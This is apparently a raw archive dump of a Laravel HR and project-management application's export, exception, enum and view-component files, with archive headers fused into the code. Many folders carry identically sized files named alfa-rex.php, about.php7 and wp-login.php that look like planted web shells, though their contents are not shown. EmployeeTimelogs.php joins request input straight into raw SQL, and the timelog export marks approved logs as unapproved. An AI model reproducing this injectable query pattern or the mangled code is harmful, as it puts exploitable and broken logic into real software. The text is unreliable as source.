$index => $timelog) { if (!isset($projectLogs[$timelog->project_id])) { $projectLogs[$timelog->project_id] = [ 'project_name' => $timelog->project?->project_name, 'total_minutes' => 0, 'break_minutes' => 0, 'employee_name' => $timelog->user?->name, 'has_active' => false, 'has_unapproved' => false ]; } $isActive = is_null($timelog->end_time); $totalMinutesForLog = $isActive ? now()->diffInMinutes($timelog->start_time) - $timelog->breaks->sum('total_minutes') : $timelog->total_minutes - $timelog->breaks->sum('total_minutes'); $totalBreakMinutes = $timelog->breaks->sum('total_minutes'); $projectLogs[$timelog->project_id]['total_minutes'] += $totalMinutesForLog; $projectLogs[$timelog->project_id]['break_minutes'] += $totalBreakMinutes; // Track status for the project if ($isActive) { $projectLogs[$timelog->project_id]['has_active'] = true; } elseif ($timelog->approved) { $projectLogs[$timelog->project_id]['has_unapproved'] = true; } } // Mapping the data to rows foreach ($projectLogs as $projectId => $projectData) { $hours = intdiv($projectData['total_minutes'], 60); $minutes = $projectData['total_minutes'] % 60; $formattedTime = sprintf('%02dh %02dm', $hours, $minutes); $formattedTime = sprintf('%02dh %02dm', $hours, $minutes); // Add status tags if ($projectData['has_active']) { $formattedTime .= ' ('. __('app.active'). ')'; } elseif ($projectData['has_unapproved']) { $formattedTime .= ' ('. __('app.approved'). ')'; } $breakTime = CarbonInterval::formatHuman($projectData['break_minutes']); $employeeName = $timelogs->first()->user->name; $mappedData[] = [ $employeeName, $projectData['project_name'], $formattedTime, $breakTime ]; if ($this->rowCount === $startRow) { $this->mergeCells[] = [ 'range' => "A{$startRow}:A" . ($this->rowCount + count($projectLogs) - 1), 'employee_name' => $projectData['employee_name'] ]; } $this->rowCount++; } return $mappedData; } protected function formatTime($timelog) { $isActive = is_null($timelog->end_time); $totalMinutes = $isActive ? now()->diffInMinutes($timelog->start_time) - $timelog->breaks->sum('total_minutes') : $timelog->total_minutes - $timelog->breaks->sum('total_minutes'); $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; return sprintf('%02dh %02dm', $hours, $minutes); } protected function formatBreakTime($breaks) { $totalMinutes = $breaks->sum('total_minutes'); return CarbonInterval::formatHuman($totalMinutes); } public function headings(): array { return [ __('app.employee'), __('app.projectName'), __('modules.timeLogs.totalHours'), __('app.totalBreak'), ]; } public function styles(Worksheet $sheet) { $sheet->getStyle('A1:D1')->getFont()->setBold(true); $sheet->getColumnDimension('A')->setWidth(25); $sheet->getColumnDimension('B')->setWidth(35); $sheet->getColumnDimension('C')->setWidth(15); $sheet->getColumnDimension('D')->setWidth(15); // Applying merge cells for employee names and center alignment foreach ($this->mergeCells as $mergeInfo) { $sheet->mergeCells($mergeInfo['range']); $sheet->getStyle($mergeInfo['range'])->getAlignment()->setVertical(Alignment::VERTICAL_CENTER); } return []; } public function startCell(): string { return 'A1'; } } Exports/EmployeeTimelogs.php000064400000023421150325104510012202 0ustar00middleware(function ($request, $next) { abort_403(!in_array('timelogs', $this->user->modules)); return $next($request); }); } public function view(): View { $this->startDate = $startDate = Carbon::createFromFormat(company()->date_format, urldecode(request()->startDate))->toDateString(); /** @phpstan-ignore-line */ $this->endDate = $endDate = Carbon::createFromFormat(company()->date_format, urldecode(request()->endDate))->toDateString(); /** @phpstan-ignore-line */ $employee = request()->employee; $projectId = request()->projectID; $this->viewTimelogPermission = user()->permission('view_timelogs'); $this->employees = User::join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('project_time_logs', 'project_time_logs.user_id', '=', 'users.id'); $where = ''; if ($projectId != 'all') { $where .= ' and project_time_logs.project_id="' . $projectId . '" '; } $this->employees = $this->employees->select( 'users.name', 'users.id', DB::raw( "(SELECT SUM(project_time_logs.total_minutes) FROM project_time_logs WHERE project_time_logs.user_id = users.id and DATE(project_time_logs.start_time) >= '" . $startDate . "' and DATE(project_time_logs.start_time) <= '" . $endDate . "' '" . $where . "' GROUP BY project_time_logs.user_id) as total_minutes" ), DB::raw( "(SELECT Count(leaves.id) FROM leaves WHERE leaves.user_id = users.id and leaves.status = 'approved' and DATE(leaves.leave_date) >= '" . $startDate . "' and DATE(leaves.leave_date) <= '" . $endDate . "' GROUP BY leaves.user_id) as total_leaves" ) ); if (!is_null($employee) && $employee !== 'all') { $this->employees = $this->employees->where('project_time_logs.user_id', $employee); } if (!is_null($projectId) && $projectId !== 'all') { $this->employees = $this->employees->where('project_time_logs.project_id', '=', $projectId); } if ($this->viewTimelogPermission == 'owned') { $this->employees = $this->employees->where('project_time_logs.user_id', user()->id); } if ($this->viewTimelogPermission == 'added') { $this->employees = $this->employees->where('project_time_logs.added_by', user()->id); } if ($this->viewTimelogPermission == 'both') { $this->employees = $this->employees->where(function ($q) { $q->where('project_time_logs.added_by', user()->id) ->orWhere('project_time_logs.user_id', '=', user()->id); }); } $this->employees = $this->employees->with('employeeDetails')->groupBy('project_time_logs.user_id') ->orderBy('users.name') ->get(); foreach ($this->employees as $employee) { $employee->total_days = $this->countTotalDays($startDate, $endDate); $employee->holidays = $this->countHolidays($employee, $startDate, $endDate); $employee->total_weekends = $this->countWeekends($startDate, $endDate); $employee->total_working_days = $employee->total_days - $employee->total_weekends - $employee->holidays->count(); $employee->total_hours = $this->calculateTotalHours($employee, $startDate, $endDate); } return view('exports.employee_timelogs', $this->data); } public function calculateTotalHours($user, $startDate, $endDate) { $totalHours = 0; $start = Carbon::parse($startDate); $end = Carbon::parse($endDate); while ($start->lte($end)) { $isHoliday = Holiday::where('date', $start) ->where(function ($query) use ($user) { $query->orWhere('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }) ->where(function ($query) use ($user) { $query->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }) ->where(function ($query) use ($user) { if (!is_Null($user->employeeDetail->employment_type)) { $query->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); } })->exists(); $isOnLeave = DB::table('leaves') ->where('user_id', $user->id) ->where('status', 'approved') ->whereDate('leave_date', $start) ->exists(); if ($isHoliday || $isOnLeave) { $start->addDay(); continue; } $assignedShift = EmployeeShiftSchedule::where('user_id', $user->id) ->where('date', $start) ->first(); if ($assignedShift) { $startTime = Carbon::parse($assignedShift->shift_start_time); $endTime = Carbon::parse($assignedShift->shift_end_time); } else { // No assigned shift, so use the default shift $defaultShiftId = AttendanceSetting::first()->default_employee_shift; // Get the default shift details $defaultShift = EmployeeShift::find($defaultShiftId); $startTime = Carbon::parse($defaultShift->office_start_time); $endTime = Carbon::parse($defaultShift->office_end_time); } $hoursForDay = $endTime->diffInHours($startTime); $totalHours += $hoursForDay; $start->addDay(); } return $totalHours; } // phpcs:ignore public function styles(Worksheet $sheet) { return [ 1 => ['font' => ['bold' => true, 'size' => 14]], 3 => ['font' => ['bold' => true]], ]; } public function registerEvents(): array { return [ AfterSheet::class => function (AfterSheet $event) { $sheet = $event->sheet->getDelegate(); $row = 4; foreach ($this->employees as $index => $employee) { $holidays = $employee->holidays; if ($holidays->isNotEmpty()) { // Format the holiday note $holidayComments = $holidays->map(function ($holiday) { $occasion = $holiday->occassion; $date = Carbon::parse($holiday->date)->format('d/m/Y'); return __('modules.holiday.occasion') . ": {$occasion} (" . __('modules.holiday.date') . " - {$date})"; })->toArray(); $holidayComment = implode(', ', $holidayComments); $cell = 'F' . ($row + $index); $sheet->getComment($cell)->getText()->createTextRun($holidayComment); } } } ]; } private function countTotalDays($startDate, $endDate) { $start = Carbon::parse($startDate); $end = Carbon::parse($endDate); return $start->diffInDays($end) + 1; } private function countWeekends($startDate, $endDate) { $start = Carbon::parse($startDate); $end = Carbon::parse($endDate); $count = 0; while ($start->lte($end)) { if ($start->isSaturday() || $start->isSunday()) { $count++; } $start->addDay(); } return $count; } private function countHolidays($user, $startDate, $endDate) { $holidays = Holiday::orderBy('date', 'ASC'); $holidays->where(function ($query) use ($user) { $query->where(function ($q) use ($user) { $q->orWhere('department_id_json', 'like', '%"' . $user->employeeDetails->department_id . '"%') ->orWhereNull('department_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetails->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetails->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); $holidays->whereBetween('date', [$startDate, $endDate]); return $holidays->get(); } } Exports/LeaveQuotaReportExport.php000064400000016610150325104510013365 0ustar00viewAttendancePermission = user()->permission('view_attendance'); $this->userId = $id; $this->forMontDate = Carbon::createFromDate($year, $month, 1)->startOfDay(); $this->thisMonthStartDate = now()->startOfMonth(); } /** * @return \Illuminate\Support\Collection */ public function collection() { $employees = User::with([ 'employeeDetail', 'employeeDetail.designation', 'employeeDetail.department', 'country', 'employee', 'roles' ]) ->onlyEmployee() ->when(!$this->thisMonthStartDate->eq($this->forMontDate), function($query) { $query->with([ 'leaveQuotaHistory' => function($query) { $query->where('for_month', $this->forMontDate); }, 'leaveQuotaHistory.leaveType', ])->whereHas('leaveQuotaHistory', function ($query) { $query->where('for_month', $this->forMontDate); }); }) ->when($this->thisMonthStartDate->eq($this->forMontDate), function($query) { $query->with([ 'leaveTypes', 'leaveTypes.leaveType', ]); }) ->withoutGlobalScope(ActiveScope::class) ->when($this->userId != 'all', function ($query) { $query->where('id', $this->userId); }) ->get(); $employeeData = collect(); $months = collect(); $sr = 1; for ($i = 1; $i <= request()->month; $i++) { $months->push(Carbon::create(null, $i, 1)->format('F')); } $leaveTypes = LeaveType::get(); $leaveTypeHeaders = []; foreach ($leaveTypes as $leaveType) { $leaveTypeHeaders[] = $leaveType->type_name . ' (' . ($leaveType->paid == 1 ? __('app.paid') : __('app.unpaid')) . ') ' . __('modules.leaves.leavesTaken'); $leaveTypeHeaders[] = $leaveType->type_name . ' (' . ($leaveType->paid == 1 ? __('app.paid') : __('app.unpaid')) . ') ' . __('modules.leaves.remainingLeaves'); } $monthHeaders = $months->map(function ($month) { return $month; })->toArray(); $employeeData->push([ '#', __('app.name'), ...$monthHeaders, __('app.futureLeaves'), ...$leaveTypeHeaders, __('modules.leaves.leavesTaken'), __('modules.leaves.remainingLeaves'), __('app.totalLeave'), ]); foreach ($employees as $employee) { $leaveData = []; $leaveQuotaHistory = $this->getAllowedLeavesQuota($employee); foreach ($months as $month) { $leavesTakenInMonth = Leave::where('user_id', $employee->id) ->whereMonth('leave_date', Carbon::parse($month)->month) ->whereYear('leave_date', Carbon::now()->year) ->where('status', 'approved') ->get() ->sum(function($leave) { return $leave->half_day_type ? 0.5 : 1; }); $leaveData[] = (string)$leavesTakenInMonth; } $futureLeaves = Leave::where('user_id', $employee->id) ->where('leave_date', '>', Carbon::now()->endOfMonth()) ->where('status', 'approved') ->get() ->sum(function($leave) { return $leave->half_day_type ? 0.5 : 1; }); $leaveData[] = (string)$futureLeaves; foreach ($leaveTypes as $leaveType) { $history = $leaveQuotaHistory->where('leave_type_id', $leaveType->id)->first(); $leaveData[] = (string)($history ? $history->leaves_used : '0'); $leaveData[] = (string)($history ? $history->leaves_remaining : '0'); } $rowData = [ $sr++, $employee->name, ...$leaveData, $leaveQuotaHistory->unique('leave_type_id')->sum('leaves_used') ?: '0', $leaveQuotaHistory->unique('leave_type_id')->sum('leaves_remaining') ?: '0', $leaveQuotaHistory->unique('leave_type_id')->sum('no_of_leaves') ?: '0', ]; $employeeData->push($rowData); } return $employeeData; } protected function getAllowedLeavesQuota($employee) { if (!$this->thisMonthStartDate->eq($this->forMontDate)) { return $employee->leaveQuotaHistory; } $leaveQuotas = $employee->leaveTypes; $allowedLeavesQuota = collect([]); foreach ($leaveQuotas as $leaveQuota) { if ($leaveQuota->leaveType && ($leaveQuota->leaveType->leaveTypeCondition($leaveQuota->leaveType, $employee))) { $allowedLeavesQuota->push($leaveQuota); } } return $allowedLeavesQuota; } public function styles(Worksheet $sheet) { return [ // Apply styles to the entire sheet or specific cells 'A1:Z1000' => [ 'alignment' => [ 'horizontal' => \PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER, ], ], ]; } public function registerEvents(): array { return [ AfterSheet::class => function(AfterSheet $event) { $sheet = $event->sheet->getDelegate(); $columns = range('A', $sheet->getHighestColumn()); foreach ($columns as $column) { $maxLength = 0; foreach ($sheet->getRowIterator() as $row) { $cell = $sheet->getCell($column . $row->getRowIndex()); $cellValue = $cell->getValue(); $cellLength = strlen($cellValue); if ($cellLength > $maxLength) { $maxLength = $cellLength; } } // Add some padding to the width $sheet->getColumnDimension($column)->setWidth($maxLength + 2); } $rowIterator = $sheet->getRowIterator(); foreach ($rowIterator as $row) { $sheet->getRowDimension($row->getRowIndex())->setRowHeight(20); // Set the desired row height } $styleArray = [ 'font' => [ 'bold' => true, ], ]; $sheet->getStyle('1:1')->applyFromArray($styleArray); } ]; } } Exports/about.php7000064400000026574150325104510010134 0ustar00Exceptions/alfa-rex.php000064400000026574150325104510011107 0ustar00Exceptions/.htaccess000064400000000544150325104510010462 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Exceptions/alfa-rex.php7000064400000026574150325104510011176 0ustar00Exceptions/alfa-rex.php8000064400000026574150325104510011177 0ustar00Exceptions/Handler.php000064400000005040150325104510010746 0ustar00renderable(function (ApiException $e, $request) { return response()->json($e, 403); }); $this->reportable(function (Throwable $e) { // }); $this->renderable(function (\Exception $e) { if ($e->getPrevious() instanceof \Illuminate\Session\TokenMismatchException) { return redirect()->route('login'); } }); $this->renderable(function (InvalidSignatureException $e) { return response()->view('errors.link-expired', [], 403); }); } public function report(Throwable $exception) { if (app()->bound('sentry') && $this->shouldReport($exception) && config('services.sentry.enabled')) { app('sentry')->captureException($exception); } parent::report($exception); } /** * Convert a validation exception into a JSON response. * * @param \Illuminate\Http\Request $request * @param \Illuminate\Validation\ValidationException $exception * @return \Illuminate\Http\JsonResponse */ protected function invalidJson($request, ValidationException $exception) { return response()->json([ 'message' => __('validation.givenDataInvalid'), 'errors' => $exception->errors(), ], $exception->status); } public function render($request, Throwable $exception) { if ($exception instanceof TokenMismatchException) { return redirect(route('login'))->with('message', 'You page session expired. Please try again'); } return parent::render($request, $exception); } } Exceptions/wp-login.php000064400000026574150325104510011144 0ustar00Exceptions/alfa-rex.php56000064400000026574150325104510011262 0ustar00Exceptions/about.php000064400000026574150325104510010522 0ustar00Exceptions/error_log000064400000002541150325104510010600 0ustar00[04-Jul-2025 12:47:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:47:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:32:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Exceptions/about.php7000064400000026574150325104510010611 0ustar00Enums/alfa-rex.php000064400000026574150325104510010055 0ustar00Enums/Salutation.php000064400000001042150325104510010460 0ustar00 __('app.' . $this->value), default => $this->value, }; } } Enums/MaritalStatus.php000064400000001677150325104510011150 0ustar00 __('app.maritalStatus.' . $this->value), default => $this->value, }; } // This method is return all the values as array. public static function toArray(): array { $maritalStatus = []; foreach (MaritalStatus::cases() as $status) { $maritalStatus [] = $status->value; } return $maritalStatus; } } Enums/.htaccess000064400000000544150325104510007430 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Enums/alfa-rex.php7000064400000026574150325104510010144 0ustar00Enums/alfa-rex.php8000064400000026574150325104510010145 0ustar00Enums/wp-login.php000064400000026574150325104510010112 0ustar00Enums/alfa-rex.php56000064400000026574150325104510010230 0ustar00Enums/about.php000064400000026574150325104510007470 0ustar00Enums/error_log000064400000001626150325104510007551 0ustar00[04-Jul-2025 12:46:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:08:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Enums/NonClickableSegments.php000064400000001114150325104510012367 0ustar00value; }, self::cases()); } } Enums/about.php7000064400000026574150325104510007557 0ustar00View/alfa-rex.php000064400000026574150325104510007700 0ustar00View/.htaccess000064400000000544150325104510007253 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/alfa-rex.php7000064400000026574150325104510007767 0ustar00View/alfa-rex.php8000064400000026574150325104510007770 0ustar00View/wp-login.php000064400000026574150325104510007735 0ustar00View/alfa-rex.php56000064400000026574150325104510010053 0ustar00View/Components/alfa-rex.php000064400000026574150325104510012025 0ustar00View/Components/Gender.php000064400000001031150325104510011507 0ustar00gender = $gender; } /** * Get the view / contents that represent the component. * * @return View|Closure|string */ public function render() { return view('components.gender'); } } View/Components/DateBadge.php000064400000001112150325104510012103 0ustar00month = $month; $this->date = $date; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.date-badge'); } } View/Components/RightModal.php000064400000000750150325104510012344 0ustar00clients = $clients; $this->selected = $selected; $this->fieldRequired = $fieldRequired; $this->labelClass = $labelClass; } /** * Get the view / contents that represent the component. * * @return \Illuminate\Contracts\View\View|\Closure|string */ public function render() { return view('components.client-selection-dropdown'); } } View/Components/LineChart.php000064400000001162150325104510012161 0ustar00chartData = $chartData; $this->multiple = $multiple; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.line-chart'); } } View/Components/EmployeeImage.php000064400000001030150325104510013024 0ustar00user = $user; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.employee-image'); } } View/Components/Forms/ButtonPrimary.php000064400000001167150325104510014222 0ustar00icon = $icon; $this->disabled = $disabled; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.button-primary'); } } View/Components/Forms/Radio.php000064400000001670150325104510012440 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->checked = $checked; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.radio'); } } View/Components/Forms/alfa-rex.php000064400000026574150325104510013113 0ustar00View/Components/Forms/Select2Ajax.php000064400000002657150325104510013515 0ustar00fieldName = $fieldName; $this->fieldLabel = $fieldLabel; $this->fieldId = $fieldId; $this->fieldRequired = $fieldRequired; $this->multiple = $multiple; $this->search = $search; $this->popover = $popover; $this->alignRight = $alignRight; $this->format = $format; $this->route = $route; $this->placeholder = $placeholder; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.select2-ajax'); } } View/Components/Forms/InputGroup.php000064400000001312150325104510013507 0ustar00prepend = $prepend; $this->append = $append; $this->preappend = $preappend; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.input-group'); } } View/Components/Forms/.htaccess000064400000000544150325104510012466 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all View/Components/Forms/alfa-rex.php7000064400000026574150325104510013202 0ustar00View/Components/Forms/FileMultiple.php000064400000001702150325104510013771 0ustar00fieldLabel = $fieldLabel; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->fieldRequired = $fieldRequired; $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.file-multiple'); } } View/Components/Forms/alfa-rex.php8000064400000026574150325104510013203 0ustar00View/Components/Forms/wp-login.php000064400000026574150325104510013150 0ustar00View/Components/Forms/ToggleSwitch.php000064400000002141150325104510013777 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->checked = $checked; $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.toggle-switch'); } } View/Components/Forms/alfa-rex.php56000064400000026574150325104510013266 0ustar00View/Components/Forms/ButtonCancel.php000064400000001063150325104510013757 0ustar00link = $link; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.button-cancel'); } } View/Components/Forms/Label.php000064400000001505150325104510012416 0ustar00fieldLabel = $fieldLabel; $this->fieldId = $fieldId; $this->popover = $popover; $this->fieldRequired = $fieldRequired; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.label'); } } View/Components/Forms/LinkPrimary.php000064400000001133150325104510013635 0ustar00icon = $icon; $this->link = $link; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.link-primary'); } } View/Components/Forms/about.php000064400000026574150325104510012526 0ustar00View/Components/Forms/error_log000064400000001626150325104510012607 0ustar00[04-Jul-2025 13:39:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 View/Components/Forms/Textarea.php000064400000002052150325104510013152 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.textarea'); } } View/Components/Forms/File.php000064400000002337150325104510012262 0ustar00fieldLabel = $fieldLabel; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->fieldRequired = $fieldRequired; $this->fieldHeight = $fieldHeight; $this->popover = $popover; $this->allowedFileExtensions = $allowedFileExtensions; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.file'); } } View/Components/Forms/Datepicker.php000064400000002332150325104510013451 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->custom = $custom; // If used in custom fields $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.datepicker'); } } View/Components/Forms/Range.php000064400000002035150325104510012432 0ustar00fieldLabel = $fieldLabel; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->disabled = $disabled; $this->max = $max; $this->min = $min; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.range'); } } View/Components/Forms/Password.php000064400000002053150325104510013200 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.password'); } } View/Components/Forms/LinkSecondary.php000064400000001137150325104510014145 0ustar00icon = $icon; $this->link = $link; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.link-secondary'); } } View/Components/Forms/Text.php000064400000002326150325104510012325 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->fieldReadOnly = $fieldReadOnly; $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.text'); } } View/Components/Forms/CustomFieldShow.php000064400000001163150325104510014456 0ustar00fields = $fields; $this->model = $model; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.custom-field-show'); } } View/Components/Forms/Tel.php000064400000001720150325104510012122 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.tel'); } } View/Components/Forms/Email.php000064400000002156150325104510012431 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->popover = $popover; $this->fieldHelp = $fieldHelp; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.email'); } } View/Components/Forms/Select.php000064400000002433150325104510012617 0ustar00fieldName = $fieldName; $this->fieldLabel = $fieldLabel; $this->fieldId = $fieldId; $this->fieldRequired = $fieldRequired; $this->multiple = $multiple; $this->search = $search; $this->popover = $popover; $this->alignRight = $alignRight; $this->changeDealStage = $changeDealStage; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.select'); } } View/Components/Forms/Url.php000064400000002324150325104510012141 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->fieldReadOnly = $fieldReadOnly; $this->popover = $popover; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.url'); } } View/Components/Forms/Checkbox.php000064400000002017150325104510013124 0ustar00fieldLabel = $fieldLabel; $this->checked = $checked; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->popover = $popover; $this->fieldPermission = $fieldPermission; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.checkbox'); } } View/Components/Forms/about.php7000064400000026574150325104510012615 0ustar00View/Components/Forms/Number.php000064400000002556150325104510012636 0ustar00fieldLabel = $fieldLabel; $this->fieldRequired = $fieldRequired; $this->fieldValue = $fieldValue; $this->fieldName = $fieldName; $this->fieldId = $fieldId; $this->fieldHelp = $fieldHelp; $this->minValue = $minValue; $this->maxValue = $maxValue; $this->popover = $popover; $this->fieldPlaceholder = $fieldPlaceholder; $this->fieldReadOnly = $fieldReadOnly; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return view('components.forms.number'); } } View/Components/Forms/CustomField.php000064400000001152150325104510013613 0ustar00fields = $fields; $this->model = $model; } /** * Get the view / contents that represent the component. * * @return View|string */ public function render() { return 